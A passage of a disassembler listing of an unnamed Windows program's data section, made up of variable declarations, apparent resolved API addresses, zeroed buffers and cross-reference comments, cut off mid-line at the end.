byte_4CB500 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB504 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w ; WinMain(x,x,x,x)+4FAr ... dword_4CB508 dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw ; sub_401ACD+8BEr ; char byte_4CB50C[] byte_4CB50C db 4 dup(0) ; DATA XREF: sub_401ACD+7DC0o ; sub_40C9A5+13o ... dword_4CB510 dd 77C72C6Bh ; DATA XREF: sub_409B13+4A7w ; sub_409B13+4EBr ... dword_4CB514 dd 77EBA994h ; DATA XREF: sub_409B13+65w ; sub_4196BD+166r dword_4CB518 dd 7622A3F4h ; DATA XREF: sub_409B13+80Bw ; sub_409B13+880r ... dword_4CB51C dd 71C45229h ; DATA XREF: sub_409B13+9D8w ; sub_409B13+A43r ... dword_4CB520 dd 71C24870h ; DATA XREF: sub_409B13+98Aw ; sub_409B13+A13r ... dword_4CB524 dd 77C71BB0h ; DATA XREF: sub_409B13+48Dw ; sub_409B13+4DBr ... dword_4CB528 dd 77D4808Bh ; DATA XREF: sub_409B13+213w ; sub_409B13+234r ... dword_4CB52C dd 71C4502Ch ; DATA XREF: sub_409B13+9CBw ; sub_409B13+A3Br ... dword_4CB530 dd 77DE801Bh ; DATA XREF: sub_409B13+372w ; sub_409B13+3C7r ... dword_4CB534 dd 77DDACABh ; DATA XREF: sub_409B13+40Fw ; sub_41AA43+11Er dword_4CB538 dd 77DE8075h ; DATA XREF: sub_409B13+37Fw ; sub_409B13+3CFr ... dword_4CB53C dd 77DD7496h ; DATA XREF: sub_409B13+3C0w ; sub_418C8F+ADr dword_4CB540 dd 71AB1B7Bh ; DATA XREF: sub_409B13+55Aw ; sub_40F0D6+115r ... dword_4CB544 dd 77E686CCh ; DATA XREF: sub_409B13+72w ; sub_409B13+D2r ... dword_4CB548 dd 71C2498Bh ; DATA XREF: sub_409B13+97Dw ; sub_409B13+A06r ... dword_4CB54C dd 77DDAB2Fh ; DATA XREF: sub_409B13+3A6w ; sub_409B13+3E7r ... dword_4CB550 dd 7620E8C3h ; DATA XREF: sub_409B13+859w ; sub_409B13+8ACr ... dword_4CB554 dd 77DD23D7h ; DATA XREF: sub_409B13+2A5w ; sub_409B13+2F0r ... dword_4CB558 dd 76214750h ; DATA XREF: sub_409B13+84Cw ; sub_409B13+8A4r ... dword_4CB55C dd 77E6D75Bh ; DATA XREF: sub_409B13+B3w dword_4CB560 dd 7620BD61h ; DATA XREF: sub_409B13+866w ; sub_409B13+8B4r ... dword_4CB564 dd 71AB60C9h ; DATA XREF: sub_409B13+54Dw ; sub_409B13+6D0r ... dword_4CB568 dd 77EBA6E9h ; DATA XREF: sub_409B13+58w ; sub_409B13+CAr ... dword_4CB56C dd 76D62A58h ; DATA XREF: sub_409B13+934w ; sub_413285+11Ar dword_4CB570 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403F26r ; sub_409B13+A95w ... dword_4CB574 dd 77E802FCh ; DATA XREF: sub_409B13+A6w ; sub_409B13+F2r dword_4CB578 dd 77C75455h ; DATA XREF: sub_409B13+480w ; sub_409B13+4D3r ... dword_4CB57C dd 71AB12A7h ; DATA XREF: sub_409B13+5F6w ; sub_40BFA4+20r ... dword_4CB580 dd 71C574FAh ; DATA XREF: sub_409B13+9BEw ; sub_409B13+A33r dword_4CB584 dd 71AB1746h ; DATA XREF: sub_409B13+5E9w ; sub_409B13+754r ... dword_4CB588 dd 71C21CA3h ; DATA XREF: sub_409B13+A0Cw dword_4CB58C dd 71B28D0Dh ; DATA XREF: sub_409B13+B50w dword_4CB590 dd 762211EFh ; DATA XREF: sub_409B13+7FEw ; sub_409B13+86Dr ... dword_4CB594 dd 77D902E3h ; DATA XREF: sub_409B13+1B3w ; sub_40B2F2+3Do ... dword_4CB598 dd 71C2FA86h ; DATA XREF: sub_409B13+997w ; sub_409B13+A1Br ... dword_4CB59C dd 77DE1291h ; DATA XREF: sub_409B13+38Cw ; sub_409B13+3D7r ... dword_4CB5A0 dd 77E2C1B3h ; DATA XREF: sub_409B13+399w ; sub_409B13+3DFr ... dword_4CB5A4 dd 73B81E3Bh ; DATA XREF: sub_409B13+C85w ; sub_409B13+C8Cr ... dword_4CB5A8 dd 71ABF628h ; DATA XREF: sub_409B13+6ACw ; sub_4107C0+D0r dword_4CB5AC dd 71AB1836h ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB5B0 dd 77C72889h ; DATA XREF: sub_409B13+4B4w ; sub_4153BD+207r dword_4CB5B4 dd 71C453F8h ; DATA XREF: sub_409B13+9E5w ; sub_409B13+A4Br ... dword_4CB5B8 dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409B13+2B2w ... dword_4CB5BC dd 77E96645h ; DATA XREF: sub_409B13+7Fw ; sub_409B13+DAr ... dword_4CB5C0 dd 77428B97h ; DATA XREF: sub_401ACD+5912r ; sub_401ACD+79CFr ... dword_4CB5C4 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr ; sub_401ACD+5118r ... dword_4CB5C8 dd 762059A3h ; DATA XREF: sub_409B13+825w ; sub_409B13+890r ... dword_4CB5CC dd 71C4A1B4h ; DATA XREF: sub_409B13+9A4w ; sub_409B13+A23r dword_4CB5D0 dd 1F7CD214h ; DATA XREF: sub_409B13+C0Ew ; sub_409B13+C3Fr dword_4CB5D4 dd 77E09134h ; DATA XREF: sub_409B13+2CCw ; sub_4184E2+47r dword_4CB5D8 dd 77D4456Bh ; DATA XREF: sub_409B13+22Dw ; sub_411CF5+40r ... dword_4CB5DC dd 76D629BBh ; DATA XREF: sub_409B13+91Aw ; sub_409B13+92Er ... dword_4CB5E0 dd 1F7B9D96h ; DATA XREF: sub_409B13+C28w dword_4CB5E4 dd 77E09070h ; DATA XREF: sub_409B13+2D9w ; sub_4184E2+4Fr dword_4CB5E8 dd 71AB1740h ; DATA XREF: sub_409B13+574w ; sub_409B13+6E8r ... dword_4CB5EC dd 7620AFB6h ; DATA XREF: sub_409B13+83Fw ; sub_409B13+873r dword_4CB5F0 dd 77D5C13Ah ; DATA XREF: sub_409B13+220w ; sub_409B13+23Cr ... dword_4CB5F4 dd 77D45B19h ; DATA XREF: sub_409B13+172w ; sub_409B13+1C2r ... dword_4CB5F8 dd 71AB157Eh ; DATA XREF: sub_401ACD+1E31r ; sub_401ACD+5AC8r ... dword_4CB5FC dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A2r ... dword_4CB600 dd 71AB14DCh ; DATA XREF: sub_409B13+567w ; sub_409B13+6DCr ... dword_4CB604 dd 0CC0004h ; DATA XREF: sub_409B13+8DBw ; sub_409B13:loc_40A40Cw ... dword_4CB608 dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409B13+28Bw ... dword_4CB60C dd 71ABD755h ; DATA XREF: sub_401ACD+795Ar ; sub_409B13+69Fw ... dword_4CB610 dd 77DF7311h ; DATA XREF: sub_409B13+32Dw ; sub_409B13+341r ... dword_4CB614 dd 77DDA2AFh ; DATA XREF: sub_409B13+3B3w ; sub_409B13+3EFr ... dword_4CB618 dd 1F7CD927h ; DATA XREF: sub_409B13+C01w ; sub_409B13+C37r dword_4CB61C dd 76206853h ; DATA XREF: sub_409B13+818w ; sub_409B13+888r ... dword_4CB620 dd 77D4932Ch ; DATA XREF: sub_409B13+206w ; sub_409B13+227r ... dword_4CB624 dd 77D5E310h ; DATA XREF: sub_409B13+18Cw ; sub_409B13+1D2r ... dword_4CB628 dd 76206B7Fh ; DATA XREF: sub_409B13+832w ; sub_409B13+898r ... dword_4CB62C dd 71AB1444h ; DATA XREF: sub_409B13+624w ; sub_409B13+774r ... dword_4CB630 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409B13+2BFw ... dword_4CB634 dd 71AB3F8Dh ; DATA XREF: sub_409B13+66Bw ; sub_409B13+79Cr ... dword_4CB638 dd 77DD5D20h ; DATA XREF: sub_409B13+320w ; sub_409B13+334r ... dword_4CB63C dd 71AB1890h ; DATA XREF: sub_409B13+644w ; sub_409B13+784r ... dword_4CB640 dd 77C76B34h ; DATA XREF: sub_409B13+44Cw ; sub_409B13+4AEr ... dword_4CB644 dd 77D5E38Ch ; DATA XREF: sub_409B13+199w ; sub_409B13+1DAr ... dword_4CB648 dd 77DDA20Bh ; DATA XREF: sub_409B13+365w ; sub_409B13+3BAr ... dword_4CB64C dd 76F36EEBh ; DATA XREF: sub_409B13+AA2w dword_4CB650 dd 71AB12A7h ; DATA XREF: sub_409B13+5DCw ; sub_409B13+748r ... dword_4CB654 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5154r ... dword_4CB658 dd 77EBA595h ; DATA XREF: sub_409B13+4Bw ; sub_409B13+C2r ... dword_4CB65C dd 77C7531Dh ; DATA XREF: sub_409B13+473w ; sub_409B13+4CBr ... dword_4CB660 dd 77D4BDCAh ; DATA XREF: sub_409B13+165w ; sub_409B13+1BAr ... dword_4CB664 dd 71C3516Ah ; DATA XREF: sub_409B13+9FFw ; sub_409B13+A5Br ... dword_4CB668 dd 71AB32CAh ; DATA XREF: sub_409B13+685w ; sub_409B13+7ACr ... dword_4CB66C dd 71AB5690h ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B7r ... dword_4CB670 dd 1F7CB8F8h ; DATA XREF: sub_409B13+C1Bw ; sub_409B13+C47r dword_4CB674 dd 77EBB1E7h ; DATA XREF: sub_409B13+3Ew ; sub_409B13+BAr ... dword_4CB678 dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409B13+298w ... dword_4CB67C dd 71AB5DE2h ; DATA XREF: sub_409B13+651w ; sub_409B13+78Cr ... dword_4CB680 dd 71AB3ECEh ; DATA XREF: sub_409B13+637w ; sub_409B13+77Cr ... dword_4CB684 dd 73B81B0Fh ; DATA XREF: sub_401ACD+73BAr ; sub_409B13+C92w dword_4CB688 dd 76204E4Dh ; DATA XREF: sub_409B13+879w ; sub_4163FA+4DCr ... dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w dword_4CB690 dd 1F7D886Ah ; DATA XREF: sub_409B13+BE7w ; sub_409B13+C22r dword_4CB694 dd 71AB12F8h ; DATA XREF: sub_401ACD+2FE5r ; sub_401ACD+5F99r ... dword_4CB698 dd 77C76551h ; DATA XREF: sub_409B13+459w ; sub_409B13+4BBr ... dword_4CB69C dd 77C729E2h ; DATA XREF: sub_409B13+49Aw ; sub_409B13+4E3r ... dword_4CB6A0 dd 77C7212Fh ; DATA XREF: sub_409B13+466w ; sub_409B13+4C3r ... dword_4CB6A4 dd 71AB1AF4h ; DATA XREF: sub_401955+89r ; sub_401ACD+51D4r ... dword_4CB6A8 dd 77D5E303h ; DATA XREF: sub_409B13+1A6w ; sub_409B13+1E2r ... dword_4CB6AC dd 71C4576Ch ; DATA XREF: sub_409B13+9F2w ; sub_409B13+A53r ... dword_4CB6B0 dd 77D4702Fh ; DATA XREF: sub_409B13+158w ; sub_409B13+1ADr ... dword_4CB6B4 dd 77E6C0E3h ; DATA XREF: sub_409B13+8Cw ; sub_409B13+E2r ... dword_4CB6B8 dd 71AB1ED3h ; DATA XREF: sub_409B13+610w ; sub_409B13+764r ... dword_4CB6BC dd 71B2A381h ; DATA XREF: sub_409B13+B43w ; sub_409B13+B5Fr dword_4CB6C0 dd 77DDA595h ; DATA XREF: sub_409B13+33Aw ; sub_419652+55r dword_4CB6C4 dd 77DD22EAh ; DATA XREF: sub_409B13+27Ew ; sub_409B13+2D3r ... dword_4CB6C8 dd 773F97B0h ; DATA XREF: sub_409B13+BAAw dword_4CB6CC dd 76D67A29h ; DATA XREF: sub_409B13+AECw ; sub_40AB32+CEr dword_4CB6D0 dd 76D674FAh ; DATA XREF: sub_409B13+ADFw ; sub_409B13+AE6r ... dword_4CB6D4 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5133r ... dword_4CB6D8 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5125r ; sub_401ACD+7981r ... dword_4CB6DC dd 1F7BA3A9h ; DATA XREF: sub_409B13+BF4w ; sub_409B13+C2Fr dword_4CB6E0 dd 71AB401Ch ; DATA XREF: sub_401ACD+1E57r ; sub_401ACD+5AEEr ... dword_4CB6E4 dd 71C214BAh ; DATA XREF: sub_409B13+9B1w ; sub_409B13+A2Br ... dword_4CB6E8 dd 71AB868Dh ; DATA XREF: sub_409B13+65Ew ; sub_409B13+794r ... dword_4CB6EC dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB6F0 dd 71AB155Ah ; DATA XREF: sub_409B13+59Bw ; sub_409B13+70Cr ... dword_4CB6F4 dd 71B22C25h ; DATA XREF: sub_409B13+B36w ; sub_409B13+B57r dword_4CB6F8 dd 71AB5A01h ; DATA XREF: sub_409B13+540w ; sub_409B13+6C4r ... dword_4CB6FC dd 71B2ACCBh ; DATA XREF: sub_409B13+B29w ; sub_409B13+B4Ar dword_4CB700 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r ; sub_409B13+31w ... dword_4CB704 dd 77D49A11h ; DATA XREF: sub_409B13+17Fw ; sub_409B13+1CAr ... dd 0 dword_4CB70C dd 76D62A37h ; DATA XREF: sub_409B13+927w ; sub_409B13+93Br ... dword_4CB710 dd 77E6CBF9h ; DATA XREF: sub_409B13+99w ; sub_409B13+EAr ... dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w ; sub_409B13+12Bw ... dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w ; sub_40A7CF+1Cr dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w ; sub_409B13:loc_409D68w ... dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w ; sub_40A7CF+50r dword_4CB724 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r ; sub_401ACD+4568r ... dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew ; sub_40A7CF+84r dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w ; sub_40A7CF:loc_40A87Fr dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw ; sub_40A7CF+B8r dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w ; sub_40A7CF:loc_40A8B3r dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w ; sub_40A7CF+ECr dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w ; sub_409B13+8EFw ... dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw ; sub_40A7CF+120r dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r ; sub_409B13:loc_40A467w ... dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw ; sub_40A7CF+154r dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r ; sub_409B13:loc_40A583w ... dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw ; sub_40A7CF+188r dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw ; sub_40A7CF:loc_40A983r dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w ; sub_40A7CF+1BCr dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w ; sub_40A7CF:loc_40A9B7r dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw ; sub_40A7CF+1F0r dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw ; sub_40A7CF:loc_40A9EBr dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w ; sub_40A7CF+224r dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w ; sub_40A7CF:loc_40AA1Fr dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw ; sub_40A7CF+258r dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w ; sub_40A7CF:loc_40AA53r dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw ; sub_40A7CF+28Cr dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw ; sub_40A7CF:loc_40AA87r dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w ; sub_40A7CF+2C0r ; char byte_4CB784[] byte_4CB784 db 1Ch dup(0) ; DATA XREF: sub_40AC10+32o dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r ; sub_40BFEC+92w ... dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr ; sub_40C33D+D9w ... dd 7FEh dup(0) dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o ; sub_40C125+13Bo ... dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w ; sub_40BACE+348o dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew ; sub_40BACE+35Ar dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w ; sub_40BACE:loc_40BDE3r ; char byte_4CD7C8[] byte_4CD7C8 db 80h dup(0) ; DATA XREF: sub_40BACE+2E2o ; sub_40BACE+302o dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw ; sub_40BACE+30Fw dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er align 8 dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w ; sub_40BACE+101o dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o ; char byte_4CD960[] byte_4CD960 db 104h dup(0) ; DATA XREF: sub_40BACE+69o dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w ; sub_40BACE+113r dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw ; sub_40BACE+D4r ; char byte_4CDA70[] byte_4CDA70 db 80h dup(0) ; DATA XREF: sub_40BACE+9Ao ; sub_40BACE+BAo dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w ; sub_40BACE+C7w dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r align 10h dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w ; sub_40BACE+225o dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o ; char byte_4CDC08[] byte_4CDC08 db 104h dup(0) ; DATA XREF: sub_40BACE+18Co dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw ; sub_40BACE+237r dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w ; sub_40BACE+1F8r ; char byte_4CDD18[] byte_4CDD18 db 80h dup(0) ; DATA XREF: sub_40BACE+1BEo ; sub_40BACE+1DEo dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw ; sub_40BACE+1EBw dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br align 8 dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w ; sub_40BACE+470o ; char byte_4CDDAC[] byte_4CDDAC db 288h dup(0) ; DATA XREF: sub_40BACE+405o ; char byte_4CE034[] byte_4CE034 db 104h dup(0) ; DATA XREF: sub_40BACE+3CFo dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw ; sub_40BACE+423r align 10h dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w ; sub_40BACE+482r dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w dd 0 dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r dd 0 dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er ; sub_40B71A+32r ... dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r ; sub_40B71A+26r ... ; char byte_4CE164[] byte_4CE164 db 208h dup(0) ; DATA XREF: sub_40C59C+8Do dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o dword_4CE374 dd 2080Ah ; DATA XREF: sub_40D8A0+8w ; sub_40D99C+2D3o dd 0 dword_4CE37C dd 2 dup(0) ; DATA XREF: sub_40D99C+209o dword_4CE384 dd 0 ; DATA XREF: sub_40E4B9+1Fr ; sub_40E504+BCo ... dword_4CE388 dd 0 ; DATA XREF: sub_40E504+B7o ; sub_40E504+DAr ... dword_4CE38C dd 0 ; DATA XREF: sub_40E504+9Ao ; sub_40E504+CFr ... dword_4CE390 dd 0 ; DATA XREF: sub_40E476+35r ; sub_40E504+95o ... dword_4CE394 dd 0 ; DATA XREF: sub_40E476+17r ; sub_40E4B9+3Dr ... dd 0 dword_4CE39C dd 0C1A5h ; DATA XREF: sub_40BACE+2AEr ; sub_40E6D9+10w ... dd 0 dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr ; sub_40E6F0+27Cw dword_4CE3A8 dd 0 ; DATA XREF: sub_40EFBF+2Aw ; sub_40EFBF+51r ... dd 3 dup(0) dword_4CE3B8 dd 0 ; DATA XREF: sub_4107C0+146r align 10h dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w ; sub_412352+9o align 8 byte_4CE3C8 db 0 ; DATA XREF: sub_412E9E+1D3w ; sub_412E9E+2D2o align 2 word_4CE3CA dw 0 ; DATA XREF: sub_412E9E+1E3w word_4CE3CC dw 0 ; DATA XREF: sub_412E9E+1E9w word_4CE3CE dw 0 ; DATA XREF: sub_412E9E+1F0w byte_4CE3D0 db 0 ; DATA XREF: sub_412E9E+1F7w byte_4CE3D1 db 0 ; DATA XREF: sub_412E9E+1FEw word_4CE3D2 dw 0 ; DATA XREF: sub_412E9E+204w dword_4CE3D4 dd 0 ; DATA XREF: sub_412E9E+234w ; sub_412E9E+250w dword_4CE3D8 dd 0 ; DATA XREF: sub_412E9E+258w byte_4CE3DC db 0 ; DATA XREF: sub_412E9E+26Aw byte_4CE3DD db 0 ; DATA XREF: sub_412E9E+27Dw word_4CE3DE dw 0 ; DATA XREF: sub_412E9E+295w word_4CE3E0 dw 0 ; DATA XREF: sub_412E9E+2A4w word_4CE3E2 dw 0 ; DATA XREF: sub_412E9E+29Cw dword_4CE3E4 dd 101h dup(0) ; DATA XREF: sub_412E9E+2B9o ; char byte_4CE7E8[] byte_4CE7E8 db 200h dup(0) ; DATA XREF: sub_401ACD+2F6Fo ; sub_401ACD:loc_404AC5o ... byte_4CE9E8 db 0 ; DATA XREF: sub_414746+1A1w ; sub_414746+27Ao align 2 word_4CE9EA dw 0 ; DATA XREF: sub_414746+1AEw word_4CE9EC dw 0 ; DATA XREF: sub_414746+1B8w word_4CE9EE dw 0 ; DATA XREF: sub_414746+1C1w byte_4CE9F0 db 0 ; DATA XREF: sub_414746+1C8w byte_4CE9F1 db 0 ; DATA XREF: sub_414746+1CFw word_4CE9F2 dw 0 ; DATA XREF: sub_414746+1D6w dword_4CE9F4 dd 0 ; DATA XREF: sub_414746+1E3w dword_4CE9F8 dd 0 ; DATA XREF: sub_414746+1EBw word_4CE9FC dw 0 ; DATA XREF: sub_414746+244w word_4CE9FE dw 0 ; DATA XREF: sub_414746+22Cw word_4CEA00 dw 0 ; DATA XREF: sub_414746+256w word_4CEA02 dw 0 ; DATA XREF: sub_414746+1F7w dword_4CEA04 dd 101h dup(0) ; DATA XREF: sub_414746+265o dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w ; sub_401ACD+2F67r ... dd 3 dup(0) byte_4CEE18 db 0 ; DATA XREF: sub_414C2F+241o ; sub_414C2F+250w ... byte_4CEE19 db 0 ; DATA XREF: sub_414C2F+264w word_4CEE1A dw 0 ; DATA XREF: sub_414C2F+295w word_4CEE1C dw 0 ; DATA XREF: sub_414C2F+27Cw ; sub_414C2F:loc_415001w word_4CEE1E dw 0 ; DATA XREF: sub_414C2F+29Bw byte_4CEE20 db 0 ; DATA XREF: sub_414C2F+288w byte_4CEE21 db 0 ; DATA XREF: sub_414C2F+25Dw word_4CEE22 dw 0 ; DATA XREF: sub_414C2F+3F2w ; sub_414C2F+41Cw dword_4CEE24 dd 0 ; DATA XREF: sub_414C2F:loc_414EF8w ; sub_414C2F+39Ar dword_4CEE28 dd 0 ; DATA XREF: sub_414C2F+2D6w word_4CEE2C dw 0 ; DATA XREF: sub_414C2F+394w ; sub_414C2F+3E8o word_4CEE2E dw 0 ; DATA XREF: sub_414C2F+335w ; sub_414C2F+35Ar ... dword_4CEE30 dd 0 ; DATA XREF: sub_414C2F+30Cw ; sub_414C2F+3D9w dword_4CEE34 dd 0 ; DATA XREF: sub_414C2F+328w ; sub_414C2F+3ABw ... byte_4CEE38 db 0 ; DATA XREF: sub_414C2F+311r ; sub_414C2F+31Fw byte_4CEE39 db 0 ; DATA XREF: sub_414C2F+2DBw ; sub_414C2F+3A4w ... word_4CEE3A dw 0 ; DATA XREF: sub_414C2F+2E9w word_4CEE3C dw 0 ; DATA XREF: sub_414C2F+3F9w ; sub_414C2F+42Aw word_4CEE3E dw 0 ; DATA XREF: sub_414C2F+32Ew word_4CEE40 dw 0 ; DATA XREF: sub_414C2F+360w ; sub_414C2F+432o word_4CEE42 dw 0 ; DATA XREF: sub_414C2F+36Fw ; sub_414C2F+409w dword_4CEE44 dd 0 ; DATA XREF: sub_414C2F+369w align 10h dword_4CEE50 dd 0 ; DATA XREF: sub_414C2F+39Fw ; sub_414C2F+417o dword_4CEE54 dd 0 ; DATA XREF: sub_414C2F+33Bw byte_4CEE58 db 0 ; DATA XREF: sub_414C2F+341w byte_4CEE59 db 0 ; DATA XREF: sub_414C2F+347w word_4CEE5A dw 0 ; DATA XREF: sub_414C2F+354w dword_4CEE5C dd 7 dup(0) ; DATA XREF: sub_414C2F+3EDo dword_4CEE78 dd 0 ; DATA XREF: sub_414C2F+30w ; sub_414C2F+43Br ; char byte_4CEE7C[] byte_4CEE7C db 400h dup(0) ; DATA XREF: sub_414C2F+1C3o ; sub_414C2F+47Eo ; char byte_4CF27C[] byte_4CF27C db 4000h dup(0) ; DATA XREF: sub_4151AD+1Do ; sub_41524Do ... ; char byte_4D327C[] byte_4D327C db 4 dup(0) ; DATA XREF: sub_4151AD+13o ; sub_41524D+Eo ... dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr ; sub_4157F1+12r align 8 dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo ; char byte_4D32C0[] byte_4D32C0 db 200h dup(0) ; DATA XREF: sub_4175EA+41o ; wchar_t word_4D34C0 word_4D34C0 dw 0 ; DATA XREF: sub_416F1B+C7o ; sub_417276+DDo ... align 4 dd 1FFh dup(0) ; wchar_t word_4D3CC0 word_4D3CC0 dw 0 ; DATA XREF: sub_416F1B+D6o ; sub_417276+F4o ... align 4 dd 123h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_437F28o dd 0DBh dup(0) dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w ; sub_4170ED+94r dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w ; sub_417553+55r ... dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w ; sub_4170ED+D6r ... dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w ; sub_4170ED+35r ... ; char byte_4D44D0[] byte_4D44D0 db 200h dup(0) ; DATA XREF: sub_417553+5Eo dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w ; sub_4170ED+A2r align 8 dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o ; sub_416F1B+103r ... dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw ; sub_41741D+107w ; void *Src Src dd 0 ; DATA XREF: sub_417276+180w ; sub_41741D+10Dw ... dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w ; sub_417553+4Fr dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w ; sub_4178BB:loc_417A40w ... dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o ; sub_417789+12o ... dd 0 dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr ; sub_417A60+3Ar dd 7Fh dup(0) dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r ; sub_417A60+4Aw dd 1944h dup(0) dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o ; char byte_4DAE0C[] byte_4DAE0C db 204h dup(0) ; DATA XREF: sub_401ACD+3CE2o ; sub_417789+3Co ... ; char byte_4DB010[] byte_4DB010 db 5Ch dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo ; sub_4187DE+131o ... ; char byte_4DB06C[] byte_4DB06C db 200h dup(0) ; DATA XREF: sub_419594+7Co ; sub_419594+A5o dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w ; sub_418B59+4Dr ... ; char byte_4DB270[] byte_4DB270 db 5Ch dup(0) ; DATA XREF: sub_419460:loc_419582o ; sub_419460+12Do ; char byte_4DB2CC[] byte_4DB2CC db 200h dup(0) ; DATA XREF: sub_418A99+4Co ; sub_418A99+7Eo ... byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r ; sub_418B59+34w align 10h ; char byte_4DB4D0[] byte_4DB4D0 db 200h dup(0) ; DATA XREF: sub_418DB0+61o ; sub_418DB0+89o ... ; char byte_4DB6D0[] byte_4DB6D0 db 204h dup(0) ; DATA XREF: 